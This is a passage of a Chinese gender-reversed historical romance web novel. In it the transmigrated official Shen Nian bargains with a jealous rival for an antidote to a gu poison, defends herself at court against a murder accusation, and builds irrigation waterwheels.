院中朴质素雅,摆着几口大缸水面上浮着绿色荷叶,生着几支淡粉半开荷花,铺着石子小路,沿路走过有一圆面小石桌,二人在石凳坐下,沈年将手摊开挪到沈岳面前。 “可否帮阿姐瞧瞧我这手上的是中了何种蛊药?” 沈岳闻言本能将头凑过一点来瞧,但很快又反应过来咬着一边唇防范的道:“京中有的是名医,阿姐怎问到我头上来了,我哪里会给人瞧病。” 世家公子多养在深院内阁之中识几个字,学些规矩礼仪等着日后寻一户好人家相妻教女才是正路,哪家的公子学行医治病这种歪路子讲出去是要被人家笑话的。 “那位罗县令是阿姐的至交好友,去平卢县赴任后曾给我一封书信,信中说她身中瘴毒是岳弟妙手回春将她医治好的。” 沈年面不改色的张口胡编了一理由,用极低的声音向沈岳说道。 沈岳撇嘴抱怨一句:“这位罗大人,怎何事都向外透露。” “阿姐又不会将此事向外人将,你可不要因我与罗娘子生怨。” 沈年生怕因她这一句话坏了什么事,说话时声音不免急了些。 沈岳偏头眼神指向屋中窗边的侧君的身影,抬手做了个嘘声的动作,去他屋中取了一盏油灯来仔细瞧了瞧沈年的手。 他紧锁着眉头面露难色道:“这种毒极为金贵一丸百金,控蛊人可随时催动隔着百里之外就可顷刻间让中蛊之人毙命,阿姐就算只沾了一丝这毒也会慢慢在体内滋生,最后和中蛊之人一般模样。” “这这药竟如此厉害,”沈年一直没将它当回事,一时后颈渗出片虚汗来,心中琢磨怪不得院中关的那鳏夫一直还喘着气未死,原来阿久是想等着她也中蛊。 “阿弟可能做的出解药?” 沈岳捏着手指骨节沉思片刻:“我倒是可以一试,不过阿姐还是尽早寻到下蛊之人以免哪一日他忽然催动药性。” 沈年起身低头看了看手背,向他点头道谢后往院中回去。 林闻溪脚边搁着一盏纸灯笼,托着脸坐在院门口靠墙抬头望着月亮,见到沈年回来他起身拍了拍衣裳上的灰,握着她的胳膊问:“三娘问的如何,他可医治的了这病?” “嗯,不过还是得去寻阿久见一面。” “他如今刚成了婚三娘如何能得见他。”林闻溪边挽着沈年的手往里屋走,边想了想道:“今日兄长说要选一日邀他到府中压一压他的邪性呢,我明日便打发人去传信给兄长让他将日子往前推一推。” “好。” 进了屋二人沐浴上了榻林闻溪有意换了一身薄纱来,上身粉白的皮肤在纱衣下若隐若现,夏日里的夜晚分外的长,月亮悬在窗前树梢,屋中只点着一只红烛与月光揉在一起勾出他匀称细窄的腰线。 林闻溪心中想着今日若不做些什么似乎浪费了沈年与他所说的那些话。 这身衣裳还是昨日在婚宴上那些位郎君捂着嘴巴偷偷耳语与他的,他们说男子在榻上若是一直一副样子娘子会厌的,偶尔可放开些脸面不必那般矜持。 “三娘”林闻溪半伏在榻边拿张薄衾盖着身子,见沈年来了不敢抬眼坐起来缓缓将被角拉下来给她瞧,脸红的像颗熟透了的桃子。 林闻溪低着头瞧见沈年的手,探出手指牵过来贴上他滚烫的脸颊,而后引着她的手划过他的喉结探进前襟之中,沈年的手指微微动了动,林闻溪出声闷哼了一声。 沈年按着他的肩躺下,他环抱着她伸手摸着她的头发,身体发烫她的吻像是春日的细雨落下让他陷入无边沉溺。 “三娘可喜欢?”林闻溪平息好呼吸坐起来依在沈年后背上,他握上沈年的手接过她手中的衣带从后面帮她系好。 沈年眼眸亮亮的转过脸来捧着他的侧脸柔和亲了亲,“你最好看了。” “比三娘今日回来的阿弟要好看吗?” “你怎谁的醋都吃,他可是我阿弟。” “可三娘又不是先前那人。” 沈年敲了敲他的额头笑:“你怎多心想这些,我心里只念着你,倒是你硬要往我心里塞别人。” 林闻溪盯着沈年的唇间又眷恋不舍的凑了上去,将手从沈年的衣衫中探进去,“今夜还长呢,三娘再陪一陪我好了。” 清早林闻溪下榻侍候沈年穿衣的时候果然困得要命,沈年将自己擦脸的帕子往林闻溪脸上按了按笑道,“叫你昨夜早些睡的。” 林闻溪偏了偏嘴角,敲了一下沈年的肩小声道:“还有人在屋里呢,穿好了快走吧。” 沈年故意作势要往他身上蹭,被林闻溪一扭身子躲开了。 快到午间下值的时候,林闻溪从府中传信过来说是沈季已邀了阿久午后过府中一叙,唤她去一同过去。 沈年被小侍引着进府时,见到林闻溪与阿久、沈季三人,还有徐府里的几位郎君一起围着方桌饮茶。 林闻溪与阿久互压着眉眼瞪着,阿久瞥见林闻溪脖肩那一丝淡淡微红的暧昧痕迹,气的捏着茶盏手指骨节咯咯作响。 见到沈年迎面过来,阿久咬着后槽牙表情十分痛苦又得意的直直盯着她看了一会,而后捂着自己的额头大声喊叫起来。 沈季起身来扶着他的肩惊了一跳问道:“堂妹夫,你这是忽然怎的了,我着人寻个大夫来给你瞧瞧。” 阿久的演技着实算不上太好,叫一众人看的眉头七上八下的。 “堂兄是我的头疾犯了,不必请大夫来,给我安排间厢房我歇息就无事了。” 沈季向院中的小侍招了招手,“快些将堂妹夫扶到厢房中歇息。” 阿久唉声连连的被扶着走了,沈年也向众人道了一声,“兄长的府邸我还未曾来过呢,我自去逛逛。” 沈年说着向沈季和林闻溪二人使了个眼色,沈季点了下头道:“这府中男眷众多,妹妹在此不熟悉以免冲撞了哪位,还是阿兄引着你前去吧。” 到了一院门前,沈季寻了个借口屏退众人,给沈年指了指其中一个屋子道:“阿兄替妹妹在此守着,长话短说。” 沈年点了下头快步迈进院中,推开厢房的门,床榻用厚厚的帘子遮着,里面断断续续传出阿久头疼的叫痛声。 “你别装了,是我。”沈年对着帘子里躺着的人,直截了当的开口,“你究竟想做什么?” “想跟沈少卿说话而已,”阿久坐起来,从帘子里探出身子,脸上挂着明朗的笑,“兰城一别沈三娘可曾在梦中梦到过我?” 沈年觉得他简直不可理喻,冷面道了一声没有。 “可我却是日日都梦着沈三娘呢,想着你欠我们刘家的我要如何一寸寸从你身上剜回来。” “刘知夷自己做下孽遭报应是迟早的事,至于因他牵连到你名誉之事是我始料未及的,这件事上我的确亏欠与你,那夜在刘宅门前我曾是想和你道一声歉的可你后来挑拨我父亲让他加害林闻溪,你知不知道你差一点就害死了他,比起来我已不欠你什么了。” “道歉!你以为我缺你一句道歉!”阿久从榻上泪珠满脸的扑过来砸着沈年的肩,“是你出尔反尔哄骗我在先,让母亲将我打的下不来榻差点成了个瘸子,我报复千倍万倍都是应当的,你怎敢说你不欠我的!” “那你该报复到我身上,而不是牵连旁人。” “你一心念着那林氏,他又是什么好人让你心疼成如此,我不过就是着人盯着你行踪而已你便咬着不放,你对我与对他用的是两种规矩,我就是要他死。” “你”沈年一口气塞在胸腔内憋红了脸咳了两声。 阿久缓和了些神色,抬手拍了拍沈年的后背。 沈年偏了偏身子躲开。 “我手上这青纹,你预备什么时候要我的命。” 阿久低头皱眉看了看但很快又换上笑容,“都是那鳏夫自作主张,我可原本没想让你中这毒的,不过现在看来倒是也不错。” “你没想我中毒”沈年抽了抽嘴角不相信道。 “当然,你若是就这般死了,我去报复谁呢。”阿久说着将手从沈年肩上摸上来,手指探向她的脸。 沈年抬起胳膊将他推开,“既然你不想杀我,那将解药给我。” 阿久转着手腕上的金镯低头想了想,而后抬起头悠悠道:“给你可以,不过我有个条件。” “什么?” 阿久冷不丁将身子前倾上来,沈年躲避不及他的唇边在她耳廓上擦了一下,语出惊人:“沈三娘与我睡一晚。” 沈年目瞪口呆,觉得这人简直是个疯子! “你前日刚成婚,你怎说的出这话,不要命了。” 阿久痛苦的将眉头挤在一起,仰头似乎是回忆道什么不好的画面:“怎的,沈三娘嫌我脏不成,放宽心那夜我没与那女人圆房,她一凑近上来我便恶心。” “我那个堂妹人品不错,长相也好,你既然成婚了便好好将日子过好,何须就要吊在我这一棵树上如此折辱自己呢。” 阿久闻言低头落泪,他不该被这女人几句不痛不痒的话便说的心软,他该恨他拿着这蛊毒捏着她的性命让她向自己磕头认罪才对。 沈年听到外面沈季噔噔噔的敲门声,转身向外走了一步,“你自个好好想一想吧,为了我毁了你的清誉值不值得。” 值得值得阿久心中想不了其余的事,心中只回荡着这两个字。 他迈了一大步死命抓着沈年的手腕,拽到帘里拼尽全力抱住了她。 阿久试探着将脸抬起来往沈年嘴边贴:“沈三娘子可别乱动,这要是让外面的人闯进来了你可就彻底说不清楚了。” “被别人看到也是毁你的名声,我怕什么”沈年挣开他的束缚,眼睛瞪着他。 “不怕的话现在我就把人喊进来,我倒是乐得让众人看到现在这幅场景。” “你到底发什么疯” “我也不求别的了,你往后常来徐府看看我,我便给你解药。” 沈年低头扒开阿久缠在他手腕上的手指,“男女有别,我如何能时常看你?还有” “还有什么,怕你的林郎生气?”阿久更攥紧了他的手腕,说话带着怒气,“你昨日才那般亲近过他,他此刻心大着呢。” 沈年张大了眼睛质问道:“这种事情你又如何知道的?” “放心,我可没什么心情听你与他的墙角!”阿久语气激急切,放低了姿态解释,“还不是那林氏不知检点,带着脖颈上的印子在人面前招摇,生怕别人不知道是的,脸皮都不要了。” 沈年出声打断他:“好了,我答应你。” “你说真的?”阿久松了力气问,眼睛都亮了,见沈年点头,又接着问,“你不会又要骗我吧?” 沈年顿了顿,“我还要我自个的命呢,只是看你而已我又不会少块肉,你记得将药按时给我。” “你多久来一次?” “五六日吧,去太多了旁人会起疑的。”沈年皱着眉,很为难的样子。 “五日就五日,”阿久说着扯下沈年挂在腰间的玉坠,塞进怀里,“这个就当我们之间的信物,要是你再食言,我便拿着这东西去寻你母亲。” 沈年丝毫不怀疑他的话,这个人确实是什么都能做的出来。 阿久从袖中掏出一个檀木盒子,里面是一颗丹红的丸药,“给你先吃一颗,免得这青纹又散的更大了。” 沈年拿起来在手中狐疑的端详了片刻,“这真的是解药,不是你又哄我吃的什么毒吧。” 阿久无语白了一眼,“我若害你,你早都没命了。” 沈年还是将信将疑把药揣进怀中,想等着回府待沈岳看过后再吃。 阿久生气了一声,“你不信便罢。” 他气鼓着脸先一步从厢房中出去了,沈季待到沈年出来忧心问道:“怎耽搁了这么久,他没将你怎样吧。” 沈年道:“无事,他给了我颗解药。” 43 第43章 ◎摸他的肩◎ “这男人成了婚还如此放荡,真是恬不知耻!” 从沈季府邸出来,在马车里听沈年所说屋中与阿久说的话,林闻溪气的火冒三丈,一手抓着帕子一手捏着沈年的耳垂擦拭。 沈年握住他的手,咧着一边嘴角道:“又没真碰到,你再擦就要破皮了。” 林闻溪凑过去盯着瞧了瞧道:“哪有,明明红都没红一下,我下手知道轻重。” “暑日里当心气的上火。”沈年搂上林闻溪的腰侧头靠在他肩上,瞧见他颈上挨着锁骨的地方真有一点红印子,她探出手指停留在上面摸了摸。 林闻溪只当沈年是在哄他而有意亲近,其实他的气早都消了不过是一时贪恋沈年的触碰,他闭眼仰着头将上身更偏向沈年脸前呼吸加重几分。 锁骨上边的那点红痕他昨夜沐浴时便注意到了,出门时他特意选了身能遮住的里衫,但一进府中瞧见阿久看他那眼神,便故意将衣衫拉下一些给他瞧见。 他此刻虽看不见但脑中想着沈年摸着那处的动作便心中泛起止不住的涟漪,害羞扯了扯下边的衣裤的褶皱,抬起胳膊将沈年从身上推起来。 林闻溪身上凉快,沈年正依在他身上惬意的眯起了眼睛,忽然被他推起来懵神的问了句:“怎么了?” 林闻溪眨巴了几下眼抬手假装咳了一声,“三娘靠我太近,我觉得有些热。” 沈年握起凉扇在他脸上扇了扇风,林闻溪从沈年手中接过来道:“不劳烦三娘,我自个来便好。” 沈年自己靠在木框子上,瞧着车窗外头的炎炎烈日被晃得昏昏欲睡,恍惚间想起她穿到书里的那日,午休还未睡醒从宿舍中出来顶头也是这样的烈阳。 蔫头巴脑的进了实训车间时听老师傅在前面讲课时站着打了个盹便忽然眼前一黑,睁眼看见一面容凶悍的健硕女子正死命掐着她的脖子,她情急之抓起工作台上一根销钉刺了那女子一下,那女子才松手仓皇逃去,她一时喘不上来气昏了过去。 被庙中的一位老尼掐着人中摇醒过来,而后便被几人抬回了沈府。 沈父围着她眼睛哭肿的像个核桃,听到他唤林闻溪的名字,沈年才惊觉自己似乎穿到她昨晚看的那本书里了。 沈年笃定这就是她原本的身子,她告诉沈家人他们认错了人,可屋里的一群侍从跟着沈父鬼哭狼嚎,说是她被歹人给吓坏脑子了连父母都不认得。 她想着或许这里原本就只是一个存在于纸面的故事,在她来后才有了天地草木,生出了有血有肉的众生。 她来了,她落入那间庙中,她便成了书中的沈年。 她带过来的空间是学校专门为机械专业每学期实训所建的轻型车间和库房。 车间大约五六百平方中间是绿色胶皮地的安全通道,沿着通道分几个区域,先是金工区里面左右对称各摆着不同用途的机床,再往后是成型焊接区,最里面的区域是两台数控车床和三维打印机。 空间只有她一个人可以进的去,神奇的是每日零点之后会刷新重置物品。 说起来这图纸上的水车构造并不复杂,由主轴,轮体和水槽三部分,这里只能靠河中的水力推动轮体来转动,所以选用的原材料只能是木材或者是空间库房中的铝合金。 木材容易被水泡朽折裂采用铝合金水车会更为耐用,但听徐珞宁粗略估算要覆盖京中的农田至少需四五十架水车,为了抢时间沈年决定双管齐下她在空间中用铝合金做一半,外面的徐珞宁与那三位师傅还是先采用木头来做,日后再慢慢替代。 马车停到沈府正门前,林闻溪一溜烟往后院走的飞快,沈年挑眉挠了挠脑门唤他。 他头也不回只顾往前走,背身向沈年喊道:“三娘去忙你的吧,我出了一身汗要赶回去更衣。” 沈年进了屋子,里面徐珞宁与那三位工匠正在忙着。 徐珞宁挽着衣袖出了一脑门的汗看见她问道:“你阿兄在府里摆什么宴呢,你去了这般久。” “没什么,寻常说几句闲话而已。”沈年走过去转过话题问,“你们做到哪里了?” 她抬手指了指桌案上凌乱放着的锯子和钻孔器道:“有你给的这东西,这木条不费什么力气两三下就锯好了,我看今夜多做一两个时辰便能将幅条和刮板都备好了。” 沈年看着整齐摆放的一摞摞木条点了下头,向她身后的三位工匠道:“那今日要有劳几位再熬一熬了,明日一同拉到河岸边组架起来,必定多给几位付工钱。” 其中那位老工匠边低着头将木孔中的毛屑锉平整边笑道:“做这活不必向先前那样拿着刻刀一个孔去挖,实则比平日省力的多沈娘子按先前所定的工钱给便好,再说我往后铺子里的生意定会红火就当沈娘子多付给我们的工钱吧。” 徐珞宁揽上沈年的肩笑道:“沈娘子怎也不提给我发工钱?” “你缺银子?” “银子倒是不缺,不过沈娘子可否将此物送于我一个”许珞宁拿起桌案上的锯子按了一下,锯子滋滋响了起来,“这里头到底有何物,怎按一下就能动?” 沈年不知如何作答,按了按眉头搪塞几句而后托词要忙躲到了自己那边。 “你等久了吧。” 沈年从兰城带回来的那位小姑娘虽未曾上过书院读书,但沈年发觉她不光悟性很高而且勤奋,沈年拿着图纸为她讲一讲便回去整晚上点着灯研究,眼下偶尔也能在旁帮些忙了。 小姑娘从木凳上站起来恭敬向她折腰一拜,依她所说这称作什么见师礼。 院中灯火通明一直到三更后才灭了灯,徐珞宁在府中留了一晚,木材制的水车可用隼卯和销钉相连,但沈年这边需进行焊接。 未免得在白日里强光引来人围观无法解释,沈年半夜里就唤着小薇出推着东西往河岸边去。 —— 今晨一上朝京兆伊便在朝堂上告了沈年一桩官司。 “昨日从沈府中逃出两个家仆,诉沈少卿下毒谋害那日拖进府中的男子,并在府中对两人动用私刑,据臣派出的密探来报今晨半夜沈少卿与随从行色匆匆推着一板车往京郊而去,密探一路跟着不慎被沈少卿随从发觉拳脚相加打昏了过去,丢了二人踪迹,依臣所断极有可能是出府毁尸灭迹,请陛下明察!” 另一工部官员随之出来奏告:“沈少卿今晨无故缺职,或与京兆伊所奏之事有关。” 闻言又陆续有几个官员出言道:“家仆告主依律可是要先打十板,这二人想来不会是诬告,若沈少卿真有杀人之罪请陛下按律法处置,下旨意尽早将其捉拿归案。” 零星跳出来几个为沈年说几句的,却又被抢白回去。 阶上的陛下轻咳了一声,朝堂上乍然安静下来。 “沈爱卿可知晓此事?” 这话是向沈修撰问的。 沈修撰站出来微微弓下腰冷静道:“绝无此事。” “沈修撰只有这一女,她的话如何能信!” 宋昭佛见状挺身站出来徐徐道:“京兆伊恐怕是还未睡醒头还蒙着,沈少卿先前已在朝堂上被参了一本,无论如何也不会愚蠢到夜半亲自去动手给自个留下把柄,此事错漏百出,京兆伊不加思索便如此轻信那两仆的话,这官做的说出去怕是要令人耻笑。” “既有人告臣便要去查,这不过是臣合理推测罢了。” 陛下出声道:“两位爱卿所言皆有道理,一面之词不可轻信,京兆伊先去将人寻来听其一言在论吧。” 京兆伊激动磕头领命,晃着大步出殿外去,在堂中威风凛凛的召了两队人马,一队去沈府中搜人,另一队去京郊寻沈年的踪迹。 行到半路拦住一过路百姓,举起沈年的画像问有没有见到她。 百姓看见画像道:“这位大人不就是河岸上那位吗?” 京兆伊从马头上跳下来欣喜的问:“你见过这人,可知其现在藏身和处?” “藏身?”百姓疑惑挠了挠头,指了指前面道:“就在前面,一堆人围着呢。” “快走!”京兆伊跳上马唤着身后的官差疾奔而过。 远远的看见一个正在河水中转动的大轮,在阳光下反着光,闪在京兆伊的眼上十分刺目,她抬手一躲,看见被百姓簇拥着的沈年。 马蹄越行越近,渐渐听到间隔坠落的水声,京兆伊勒停了身下的马,望着眼前的水轮一怔。 倒是沈年先穿过人群笑脸盈盈的向她走近过来。 沈年扬着脸仰视着马头上的人道:“不知大人可是来寻我的?” 京兆伊没有回话,她身后的官差道:“有人诉沈少卿有杀人之嫌,京兆伊特奉命前来带沈少卿回朝问话。” “哦?是何人如此污蔑我?” “是沈府逃出的家仆。” “我好心放他们两条命,他们就是这般报答我的。”沈年自嘲般的摇了摇头,而后笑了笑向京兆伊道,“那便走吧。” 官差动了动手中的木枷,犹豫转头看了看京兆伊。 一位圆脸微胖的娘子声音嘹亮喊道:“沈大人怎会杀人!好容易有个为我们这些人干实事的,你们便要眼红安个什么杀人的罪名来!” “就是就是,要造这大东西哪来的工夫去害什么人呐!” “我们那田上还没有这水车,把她抓起来那不成要我们整日在这大太阳底下一趟趟挑水浇地不成。” “这沈大人面相这般和善,哪里是会杀人的人,这些人便是见不得我们这些平头百姓过轻松一刻。” 众人你一言我一语,京兆伊丧气摆了摆手,沈年勾着嘴角朝她笑了笑,跳上板车被小薇推着走。 一整晚未歇息她着实是头晕眼花,一丝力气也没有了,一路到官属中她还迷迷糊糊睡了一觉。 京兆伊见状气的头顶冒火,沈年一身轻松打着呵欠随她往殿中走去。 44 第44章 ◎社稷之臣◎ 两人没走几步远,随京兆伊而出的另一队人黑压压急奔而来,队伍中间有两人用担子抬着那鳏夫,他自吞下那蛊毒便一直昏迷未醒,到如今嘴唇紫的发黑,一眼看过去俨然是个形容可怖的活死人。 为首的官差拱手向京兆伊禀告道:“这是我等在沈府一间荒院子中搜到的。” 京兆伊偏头仔细瞧了一眼那担子上的鳏夫,勾起一边嘴角满意的笑了笑,提高音调向身前的沈年道:“人证口供都在,到了陛下面前沈少卿还要如何抵赖。” 沈年不理会她,低压着眉头盯着那群凶神恶煞的官差问:“你们这般持刀握剑的,可曾伤了我府上的家眷?” 那官差打量见沈年脸上的神情,有意拿话挑衅笑道:“沈少卿的郎君性子烈得的很呢,死活要拦着我等办差,推搡之间不慎摔在地上似乎是磨破了手肘” 沈年一个眼刀刺在她身上,冷冷的笑了声转身三步并作两步往那宫殿中去。 “陛下,微臣属实冤枉。”沈年扑通一声跪在地上声似窦娥含冤情般的向阶上高坐的皇帝热泪陈情。 “微臣感念陛下垂青,自那日在朝上向陛下呈上那张图纸,臣夙夜不敢寐一心念着早日造出实物来效忠陛下造福万民,今半夜出府臣是为前往河岸搭建水车,现已建成可为百姓灌溉农田所用,怎就被京兆伊无端揣测成什么毁尸灭迹之事了!” 陛下的声音听得出有一丝惊喜:“这才短短几日,沈少卿已经将水车制成了?” “臣不敢妄言,京兆伊大人前去捕臣时亲眼所见。” 京兆伊不情愿的迈步出来向陛下道了一声是,而后又指着沈年一脸义正言辞道:“但臣所奏之事有真凭实据,臣已命人在沈府中搜到被藏匿起来的那男子,虽看起来呼吸尚在但人已于死尸无异了,证据确凿沈少卿竟在陛下面前拿另一桩事来邀功诡辩,在这大殿之上向众人混淆视听。” 宋昭佛出声道:“在府上寻到找到人,也并非就能证明是沈少卿下的手。” “有那两仆证言,是沈少卿进屋片刻那*男子便中了毒,不是她又会是谁?” “是那男子自己服毒欲陷害微臣,”沈年伸出自己的手背,“臣欲救他之时还被其咬了一口,也中了此毒。” 京兆伊似乎是早有准备,冷言冷语的回呛道:“这男子中的是蛊毒,下毒之人必有解药,说不定是沈少卿使得苦肉计。” 陛下开口道:“如此说来这杀人之罪尚无法坐实容后再议吧,倒是沈少卿所制的水车朕想亲自前往一睹,若无事再奏各位爱卿便散了吧。” 京兆伊闻言更往前迈了一大步激愤道:“陛下怎可如此轻纵,杀人是头等大罪依律该压入牢中审讯一番才可平众臣之心,臣请陛下三思!” “京兆伊此言是觉得朕错了不成。” 陛下的声音一瞬间冷冽下来,带着沉沉的愠怒。 京兆伊慌乱神赶忙俯首跪拜:“臣不敢。” “不敢……当朕不知道你们的心思不成,朝中党派之风盛行不是一日两日,朕不重用沈少卿这样做实事的社稷之臣,难不成要为你们这帮子只知道讲小话捏把柄的佞臣驱使不成!” 天子发怒,朝中一刹鸦雀无声,而后众臣不约而同跪地叩首:“陛下息怒,臣等万万不敢。” 京兆伊满头冒汗为自己辩解:“臣秉公办案,再说沈少卿的确实形迹可疑即便是去造水车何须半夜三更去,且不告假擅离职守,工部先前竟一丝消息都未曾听沈少卿禀过。” “这两日在殿外站上片刻便要热的出了一身汗做不成事,微臣半夜前去只是为了赶工而已。” “至于为何不报,那便要问问臣的上官了,”沈年说着目光往队伍末尾站着的那官直直看去,“这位大人排挤打压微臣事小,要紧的是她尸位素餐,宁将工部的工匠派去修什么桌凳也不愿将人拨给微臣去造水车,臣若是去报怕是待到夏末也不能将此物造出来。” 那位上官未曾预料到沈年会忽然再御前告她的状,忽而大难临头顾不得仪容从末尾颤抖着向殿前爬过来,口齿不清的惶恐道:“沈少卿信口雌黄……并未有此事。” 陛下道:“阶下之人正经才像是个罪臣,抖似筛糠、言语不清,倒是比沈少卿那桩糊涂案值得细细查一番。” “臣只是未曾面见天颜,才如此这般,臣是一片忠厚……” 听陛下隐隐叹息一声,身边左右便下阶来示意殿中侍卫将人拖出殿中去。 “此人先革职,沈少卿有功便由其接任缺职,”陛下从位上起身向前迈了一步看向工部尚书道:“尚书可有何异议?” “陛下知人善任,臣不敢妄议。” “如此今日便先散了吧。” 下了朝沈修撰灰白着脸揪着沈年的衣领拉到一处角落发了大火:“这么大的一桩事你倒是瞒的严实,几个疯男人都打理不干净优柔寡断当真是无用。” 沈年低着头沉闷却坚定道:“他们一个个都是爹生父母养的,女儿的确不是母亲所期望的人,下不了那狠心做那要人命的事情,至于别人如何回报不是女儿能左右的,不过这天底下是有值得被挽救的人的。” 这些话在沈修撰听来像是幼稚孩童的滑稽之谈,但沈年一字一句说的认真,沈修撰听着皱眉眼底闪过一丝怀疑,用十分怪异的语气冷不丁说了一句:“你从前可不是这般……” 沈年抬起头来直视着她的眼睛,装别人的女儿着实是累人,她此刻甚至有些期待沈修撰向她问出那句话。 可她没问,反而先一步避开她的眼神转过身生硬中断了话题,寻了个蹩脚的借口匆匆而去。 沈年暂且没工夫去细想这些,一路蒙头往官属行去,先前去沈府搜查的那队官差还守着那鳏夫的担子,此刻往哪里抬都不合适。 见沈年的脚步往这边行来,几人或是抬头望天或是低头看地,眼神没一个敢往她身上落的,如今外头百姓纷纷称道这位年纪轻轻的沈大人,朝上陛下又极力庇护有罪不究,听闻京兆伊在朝上当众被陛下怒责是佞臣,给沈年定罪不成反倒是让她告成了御状,那倒霉鬼此刻已经被扒掉了官服关进狱中审问了。 她们自知得罪了如今最不该得罪的人,惶恐去向人打听了一番更是要命,这沈少卿十分宠爱那府里的郎君,她们几人将人伤了这姓沈的还不得扒她们一层皮。 沈年的声音带着冷冷的笑意,在几人耳边如同恶鬼来索命,“不知是哪位大人对我府中的家眷动的手。” 【作者有话说】 这两天帮爸妈搬家,来不及更新,今天搬完好累写不完啦,所以字数有点少希望亲爱的读者勿怪[摊手] 45 第45章 ◎“讨我喜欢便够了。”◎ 几人慌张语无伦次辩解道:“沈大人,我等只是奉命行事,是大人府上的郎君先上来妨碍公务的,并非我等有心伤人。” 沈年见她们不愿意说,不知从哪里掏出一张白纸来按在墙上,她边阴恻恻的盯着几人边在纸上写着,“你们不说的话,本官只好将你们的名全数记下来了。” “就是她!”有人出声指着先前进殿出言挑衅的那人哆哆嗦嗦道,“是她下命要我们拔出刀来吓唬人,还对沈大人的郎君出言不逊,不关我等的事。” 沈年冷哼了一声看向那女子,将纸握在手中揉成一团,纸张挤压的声音将那女子吓得后背抖了一下。 她与沈年本无冤无仇只是眼下在京中想往上爬便要各派选一边站,且这附党也并非是容易的,需得有个敲门砖,她此番卖力是就是想拿这桩事讨京兆伊的欢心好让其引荐入赵党罢了。 可惜她打错了算盘,无人能预料到这沈年几日就将图纸造成了实物,短短不到半年便立了两桩大功,陛下自登基来一直被两党压的不得传信,得此大才助力即便是这沈年真犯了什么杀人之罪陛下也会竭力保她。 毕竟一个出墙犯过的鳏夫的命实在不值一提。 况且沈年今日升了迁,往后可去殿中上朝日日面见陛下,若在陛下面前告她一状……京兆伊自身难保又有谁会出来管她。 到时候被剥了这身官衣下狱,一切便全完了。 她将腰近乎对折一般的弯下道:“下官一时昏头,家中还有一家老小,还请沈大人高抬贵手放小人一马。” “你这会倒是想起自己的一家老小来了,”沈年讥讽她一声,“不过赎罪可不是动动嘴皮子就行的,沈府家眷受了什么伤你该在自己身上一一找回来才算。” 那女子抬起脸犹豫片刻,咬着牙曲起自己的手肘往后面墙上用力撞了五六次,她吃痛将嘴唇咬的破皮渗血,而后又扬起另一边胳膊狠狠在自己嘴边抽了两下。 还未等她的手停下,沈年便皱着眉头冷冷环视周围那一圈人后背身离去。 她看见那女子面容痛苦的模样忧心起林闻溪来,也不知他伤的重不重。 只是现在还没空隙回府,徐珞宁那边还不知进展如何,她还需先过去瞧一眼,脚步匆匆从官署出来,沈年瞧见小薇正站在辆马车前的唤她,车窗闻声从里面打开一扇,探出来的是林闻溪的脸,他微微抽动着嘴角,见到她的面眼眶一瞬发红。 即便是听说了侍从传话回来说沈年已经化险为夷,但林闻溪还是放不下心,带着伤也要来瞧上沈年一眼。 “你可受了什么伤。” 沈年几乎是撞进车厢里,探手在林闻溪身上来回摸索了几次问了句,碰到林闻溪的手肘时见他咬唇忍着声音,抬起眼小心看了沈年一眼。 沈年放松了手上的力气,卷起他的衣袖一瞧一大片的黑青瘀血还破了块皮缠着一块纱布。 “我先前不是和你说过,我有法子你怎还这般傻乎乎的,若是她们真将刀抽出来你也要往上撞不成。” “那一伙人黑压压的冲进来,我忧心三娘那时脑中一团浆糊,现在连当时手怎动的脚怎么动的都记不清了,实在是无用。” “那种阵势谁见到都会慌神的,我并非怪你,”沈年只是握住林闻溪的后颈将他按进怀中拥抱,“好了,那人已经被我吓破胆,自会正在自己掌嘴。” 林闻溪在怀中委屈的嗯了一声,不忘跟沈年交代道:“我这伤口是岳弟帮我包扎的,缠好纱布我便没再与他多说话了。” 沈年靠在后面木框上闭目缓了缓神,手掌摸着林闻溪的后脑勺声音疲惫反倒听起来有丝宠溺之意:“你乖。” 沈年平日甚少用这样的字眼同他说话,能数的起来的那么两三回都是在夜里榻上的时候,贴在他耳边小声温柔的夸他。 林闻溪一时羞怯,从沈年怀中直起身轻声问:“三娘是乏了?倚我肩上养养神。” 沈年环抱上林闻溪的腰,将脸贴在他的颈上,他身上有种好闻的味道让她安心不多久便合上了眼。 沈年的气息洒在林闻溪身上,细细痒痒的带着他后背的皮肤一下下颤,他将并紧腿起来自觉羞愧,明明手肘还在发痛他还能生出这样的心思来。 他每次都记得喝药,必不是同先前那样怀了孩子的缘故。 他未曾发觉自己已经喜欢到了这种地步,今日那群巡捕冲进府中的时候,他脑中甚至没来得及思考过自己的性命,他想起沈年问他的那句话。 要是真的刀他也要往上去撞吗? 他低下头摸了摸沈年眉眼,笑着在她额头上一吻。 马车缓缓停下,林闻溪往沈年脸上轻轻吹气,“到地方了。” 沈年醒神揉了揉脸,向窗外望了一眼,河岸边里三重外三重的围着人,十中有九个都穿着一身粗布麻衣互相勾肩搭背指着水面上的木轮兴兴相谈,零星几个扎眼的衣色是下朝未换朝服的官员。 沈年从车板中跳下,往人群中走过去,不知是哪人先瞧见了她高声喊了一句:“沈大人到了。” 声音一出有上百双眼睛转过来停在她身上,而后十数人抬脚迈步过来向沈年拥过来,七嘴八舌的道:“沈大人,我等愿花钱出力还请沈大人也给我们田中修一个。” “大伙莫急往后都会有的。”沈年边说边往河岸边走,人群也跟着她的脚步而动,一时间像是众星捧月一般围着她转。 沈年无奈踮起脚向里面的徐珞宁喊着问道:“你们进展如何,可需要我搭把手?” “沈大人放宽心,里头有七八个农户在帮忙,正在收尾呢。” 徐珞宁的脸被暑气蒸的像个红樱桃,跳起来向她摆了摆手示意。 林闻溪在木窗中望见沈年被围成铁桶一般,向众人一个个点着头不知在说什么,热的一直抬起手背抹额上的汗珠,忍不住撇着嘴气道:“这些人真没个眼力见,也不怕将人挤坏。” 他扫着人脸瞧过去,竟看见他母亲的脸,他以前在林府就不多见他的面,数一数已有一年未见了,一时看见不免有种疏离陌生感。 林闻溪瞧见她母亲正直直看着沈年的脸,沈年往那边瞟了一眼又很快转头和周围人说话。 他忽然反应过来沈年现在并不认识他母亲,心中暗叫道不好,将木窗关上藏起自己的脸,将车门推开一道小缝向小薇招了招手唤他过来交代。 “那位穿青绿袍的是我母亲,三娘许是没瞧见你去过去提醒一声,不然被人看见又该奏三娘不尊长辈了。” “是。”小薇力气大很快三两下拨开人群凑到沈年身边耳语。 沈年闻言抬脸恍然向林御史看了一眼,她看见了沈年的眼神一瞬将脖子向上仰了仰,甩袖沉下脸将腰板挺的笔直。 沈年好容易才脱身挂起笑脸向林御史迈步过去,恭敬低头行了个礼。 